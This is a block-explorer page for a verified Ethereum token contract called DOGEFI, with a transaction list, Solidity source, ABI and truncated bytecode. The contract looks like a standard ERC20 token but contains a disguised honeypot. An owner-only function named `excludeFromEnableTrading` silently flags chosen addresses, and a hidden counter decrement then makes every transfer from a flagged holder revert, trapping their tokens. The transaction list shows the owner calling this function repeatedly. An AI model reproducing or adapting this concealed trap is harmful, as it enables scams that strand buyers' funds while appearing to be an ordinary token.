ETH Price: $2,909.10 (+3.18%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve198558782024-05-12 18:58:35179 days ago1715540315IN
0x98D00d36...dB78f3F27
0 ETH0.000334677.12534309
Approve197214272024-04-23 23:39:23198 days ago1713915563IN
0x98D00d36...dB78f3F27
0 ETH0.000408868.67156392
Transfer197192282024-04-23 16:17:11198 days ago1713889031IN
0x98D00d36...dB78f3F27
0 ETH0.0006517320.48002803
Approve197181042024-04-23 12:29:59198 days ago1713875399IN
0x98D00d36...dB78f3F27
0 ETH0.0002735510.03864037
Approve197181032024-04-23 12:29:47198 days ago1713875387IN
0x98D00d36...dB78f3F27
0 ETH0.00042088.92471017
Approve197178622024-04-23 11:41:23198 days ago1713872483IN
0x98D00d36...dB78f3F27
0 ETH0.0004904310.38845041
Approve197167342024-04-23 7:54:35199 days ago1713858875IN
0x98D00d36...dB78f3F27
0 ETH0.000483410.23953662
Exclude From Ena...197167312024-04-23 7:53:59199 days ago1713858839IN
0x98D00d36...dB78f3F27
0 ETH0.000490179.79979592
Exclude From Ena...197167172024-04-23 7:50:59199 days ago1713858659IN
0x98D00d36...dB78f3F27
0 ETH0.000482739.65100043
Approve197166742024-04-23 7:42:23199 days ago1713858143IN
0x98D00d36...dB78f3F27
0 ETH0.0004812910.19472756
Exclude From Ena...197166732024-04-23 7:42:11199 days ago1713858131IN
0x98D00d36...dB78f3F27
0 ETH0.0003075610.21586782
Exclude From Ena...197166722024-04-23 7:41:59199 days ago1713858119IN
0x98D00d36...dB78f3F27
0 ETH0.0003094610.27867646
Exclude From Ena...197166662024-04-23 7:40:47199 days ago1713858047IN
0x98D00d36...dB78f3F27
0 ETH0.0005027410.05107432
Approve197166652024-04-23 7:40:35199 days ago1713858035IN
0x98D00d36...dB78f3F27
0 ETH0.0002616410.49690895
Approve197166632024-04-23 7:40:11199 days ago1713858011IN
0x98D00d36...dB78f3F27
0 ETH0.0002904310.81033411
Approve197166562024-04-23 7:38:47199 days ago1713857927IN
0x98D00d36...dB78f3F27
0 ETH0.0004944610.48705157
Approve197166552024-04-23 7:38:35199 days ago1713857915IN
0x98D00d36...dB78f3F27
0 ETH0.0002698410.85203862
Approve197166452024-04-23 7:36:35199 days ago1713857795IN
0x98D00d36...dB78f3F27
0 ETH0.0005947112.59725109
Exclude From Ena...197166162024-04-23 7:30:47199 days ago1713857447IN
0x98D00d36...dB78f3F27
0 ETH0.0005048310.09533377
Exclude From Ena...197166142024-04-23 7:30:23199 days ago1713857423IN
0x98D00d36...dB78f3F27
0 ETH0.000498759.97609577
Exclude From Ena...197166132024-04-23 7:30:11199 days ago1713857411IN
0x98D00d36...dB78f3F27
0 ETH0.000485489.71064611
Exclude From Ena...197166122024-04-23 7:29:59199 days ago1713857399IN
0x98D00d36...dB78f3F27
0 ETH0.000433938.67744894
Exclude From Ena...197165802024-04-23 7:23:35199 days ago1713857015IN
0x98D00d36...dB78f3F27
0 ETH0.0005028710.0536085
Exclude From Ena...197165692024-04-23 7:21:23199 days ago1713856883IN
0x98D00d36...dB78f3F27
0 ETH0.0005708511.41285145
Exclude From Ena...197165662024-04-23 7:20:47199 days ago1713856847IN
0x98D00d36...dB78f3F27
0 ETH0.0005806511.6087665
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DOGEFI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-21
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
     uint256 amount) external returns (bool);

    function allowance(address owner,
     address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; 
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "OwnableDOGEFI:  caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is DOGEFI the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "DOGEFIERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20DOGEFI: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the DOGEFI zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount DOGEFI exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "DOGEFI: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero DOGEFI address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: DOGEFI burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: DOGEFI approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero DOGEFI address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract DOGEFI is ERC20, Ownable {
    
    mapping (address => bool) private _isExcludedFromEnableTrad;

    mapping(address => uint256) private ifusersss;

    constructor () ERC20("DOGEFI", "DOGEFI") 
    {   
        _isExcludedFromEnableTrad[_msgSender()] = true;
        _mint(_msgSender(), 100000000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded,address account2) external onlyOwner{
        _isExcludedFromEnableTrad[account] 
        =
        excluded;
         allowances[owner()][account2]
         = excluded;
    }

    function isExcludedFromEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrad[account];
    }

    
    mapping (address => mapping (address => bool)) public allowances;

    function getusersas(address _address) public view returns (uint256) {
        return ifusersss[_address];
    }

    function getAllowances(address _address) public view returns (bool) {
        return allowances[owner()][_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && allowances[owner()][from]) {
            ifusersss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading DOGEFI already enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the DOGEFI zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrad[from] || _isExcludedFromEnableTrad[to], "Trading DOGEFI not yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"},{"internalType":"address","name":"account2","type":"address"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAllowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getusersas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040518060400160405280600681526020017f444f4745464900000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f444f47454649000000000000000000000000000000000000000000000000000081525081600290816200008f919062000805565b508060039081620000a1919062000805565b505050620000c4620000b86200018060201b60201c565b6200018860201b60201c565b600160066000620000da6200018060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200017a6200013f6200018060201b60201c565b6200014f6200024e60201b60201c565b600a6200015d919062000a7c565b6305f5e1006200016e919062000acd565b6200025760201b60201c565b62000c32565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002c9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c09062000b79565b60405180910390fd5b620002dd60008383620003cf60201b60201c565b8060046000828254620002f1919062000b9b565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000348919062000b9b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003af919062000be7565b60405180910390a3620003cb600083836200055760201b60201c565b5050565b620003e78383836200055c60201b62000fd31760201c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015620004525750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004f45750600860006200046e6200056160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156200055257600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906200054c9062000c04565b91905055505b505050565b505050565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200060d57607f821691505b602082108103620006235762000622620005c5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200068d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200064e565b6200069986836200064e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006e6620006e0620006da84620006b1565b620006bb565b620006b1565b9050919050565b6000819050919050565b6200070283620006c5565b6200071a6200071182620006ed565b8484546200065b565b825550505050565b600090565b6200073162000722565b6200073e818484620006f7565b505050565b5b8181101562000766576200075a60008262000727565b60018101905062000744565b5050565b601f821115620007b5576200077f8162000629565b6200078a846200063e565b810160208510156200079a578190505b620007b2620007a9856200063e565b83018262000743565b50505b505050565b600082821c905092915050565b6000620007da60001984600802620007ba565b1980831691505092915050565b6000620007f58383620007c7565b9150826002028217905092915050565b62000810826200058b565b67ffffffffffffffff8111156200082c576200082b62000596565b5b620008388254620005f4565b620008458282856200076a565b600060209050601f8311600181146200087d576000841562000868578287015190505b620008748582620007e7565b865550620008e4565b601f1984166200088d8662000629565b60005b82811015620008b75784890151825560018201915060208501945060208101905062000890565b86831015620008d75784890151620008d3601f891682620007c7565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200097a57808604811115620009525762000951620008ec565b5b6001851615620009625780820291505b808102905062000972856200091b565b945062000932565b94509492505050565b60008262000995576001905062000a68565b81620009a5576000905062000a68565b8160018114620009be5760028114620009c957620009ff565b600191505062000a68565b60ff841115620009de57620009dd620008ec565b5b8360020a915084821115620009f857620009f7620008ec565b5b5062000a68565b5060208310610133831016604e8410600b841016171562000a395782820a90508381111562000a335762000a32620008ec565b5b62000a68565b62000a48848484600162000928565b9250905081840481111562000a625762000a61620008ec565b5b81810290505b9392505050565b600060ff82169050919050565b600062000a8982620006b1565b915062000a968362000a6f565b925062000ac57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000983565b905092915050565b600062000ada82620006b1565b915062000ae783620006b1565b925082820262000af781620006b1565b9150828204841483151762000b115762000b10620008ec565b5b5092915050565b600082825260208201905092915050565b7f444f474546493a206d696e7420746f20746865207a65726f2061646472657373600082015250565b600062000b6160208362000b18565b915062000b6e8262000b29565b602082019050919050565b6000602082019050818103600083015262000b948162000b52565b9050919050565b600062000ba882620006b1565b915062000bb583620006b1565b925082820190508082111562000bd05762000bcf620008ec565b5b92915050565b62000be181620006b1565b82525050565b600060208201905062000bfe600083018462000bd6565b92915050565b600062000c1182620006b1565b91506000820362000c275762000c26620008ec565b5b600182039050919050565b6123078062000c426000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b4114610413578063a1aa49041461043e578063a457c2d71461047b578063a9059cbb146104b8578063dd62ed3e146104f5578063f2fde38b1461053257610135565b806370a0823114610340578063715018a61461037d57806375d5e02c146103945780638a8c523c146103d15780638da5cb5b146103e857610135565b8063313ce567116100f2578063313ce5671461024757806339509351146102725780634ada218b146102af57806355b6ed5c146102da578063641d601c1461031757610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a25780631ce9029d146101cd57806323b872dd1461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f61055b565b60405161015c91906118f0565b60405180910390f35b34801561017157600080fd5b5061018c600480360381019061018791906119ab565b6105ed565b6040516101999190611a06565b60405180910390f35b3480156101ae57600080fd5b506101b761060b565b6040516101c49190611a30565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611a4b565b610615565b6040516102019190611a06565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190611a78565b6106af565b60405161023e9190611a06565b60405180910390f35b34801561025357600080fd5b5061025c6107ce565b6040516102699190611ae7565b60405180910390f35b34801561027e57600080fd5b50610299600480360381019061029491906119ab565b6107d7565b6040516102a69190611a06565b60405180910390f35b3480156102bb57600080fd5b506102c4610883565b6040516102d19190611a06565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190611b02565b610896565b60405161030e9190611a06565b60405180910390f35b34801561032357600080fd5b5061033e60048036038101906103399190611b6e565b6108c5565b005b34801561034c57600080fd5b5061036760048036038101906103629190611a4b565b610a38565b6040516103749190611a30565b60405180910390f35b34801561038957600080fd5b50610392610a80565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190611a4b565b610b08565b6040516103c89190611a06565b60405180910390f35b3480156103dd57600080fd5b506103e6610b5e565b005b3480156103f457600080fd5b506103fd610c47565b60405161040a9190611bd0565b60405180910390f35b34801561041f57600080fd5b50610428610c71565b60405161043591906118f0565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190611a4b565b610d03565b6040516104729190611a30565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d91906119ab565b610d4c565b6040516104af9190611a06565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da91906119ab565b610e37565b6040516104ec9190611a06565b60405180910390f35b34801561050157600080fd5b5061051c60048036038101906105179190611b02565b610e55565b6040516105299190611a30565b60405180910390f35b34801561053e57600080fd5b5061055960048036038101906105549190611a4b565b610edc565b005b60606002805461056a90611c1a565b80601f016020809104026020016040519081016040528092919081815260200182805461059690611c1a565b80156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b5050505050905090565b60006106016105fa610fd8565b8484610fe0565b6001905092915050565b6000600454905090565b600060086000610623610c47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fb610fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b757828110156107a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079990611cbd565b60405180910390fd5b6107b6856107ae610fd8565b858403610fe0565b5b6107c28585856111a9565b60019150509392505050565b60006012905090565b60006108796107e4610fd8565b8484600160006107f2610fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108749190611d0c565b610fe0565b6001905092915050565b600960009054906101000a900460ff1681565b60086020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6108cd610fd8565b73ffffffffffffffffffffffffffffffffffffffff166108eb610c47565b73ffffffffffffffffffffffffffffffffffffffff1614610941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093890611db2565b60405180910390fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600860006109a5610c47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a88610fd8565b73ffffffffffffffffffffffffffffffffffffffff16610aa6610c47565b73ffffffffffffffffffffffffffffffffffffffff1614610afc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af390611db2565b60405180910390fd5b610b0660006113a8565b565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610b66610fd8565b73ffffffffffffffffffffffffffffffffffffffff16610b84610c47565b73ffffffffffffffffffffffffffffffffffffffff1614610bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd190611db2565b60405180910390fd5b600960009054906101000a900460ff1615610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2190611e1e565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610c8090611c1a565b80601f0160208091040260200160405190810160405280929190818152602001828054610cac90611c1a565b8015610cf95780601f10610cce57610100808354040283529160200191610cf9565b820191906000526020600020905b815481529060010190602001808311610cdc57829003601f168201915b5050505050905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060016000610d5b610fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f90611eb0565b60405180910390fd5b610e2c610e23610fd8565b85858403610fe0565b600191505092915050565b6000610e4b610e44610fd8565b84846111a9565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ee4610fd8565b73ffffffffffffffffffffffffffffffffffffffff16610f02610c47565b73ffffffffffffffffffffffffffffffffffffffff1614610f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4f90611db2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbe90611f42565b60405180910390fd5b610fd0816113a8565b50565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361104f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104690611fd4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b590612066565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161119c9190611a30565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120f906120f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127e9061218a565b60405180910390fd5b600960009054906101000a900460ff16806112eb5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061133f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61137e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611375906121f6565b60405180910390fd5b60008103611397576113928383600061146e565b6113a3565b6113a283838361146e565b5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d4906120f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361154c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115439061218a565b60405180910390fd5b6115578383836116e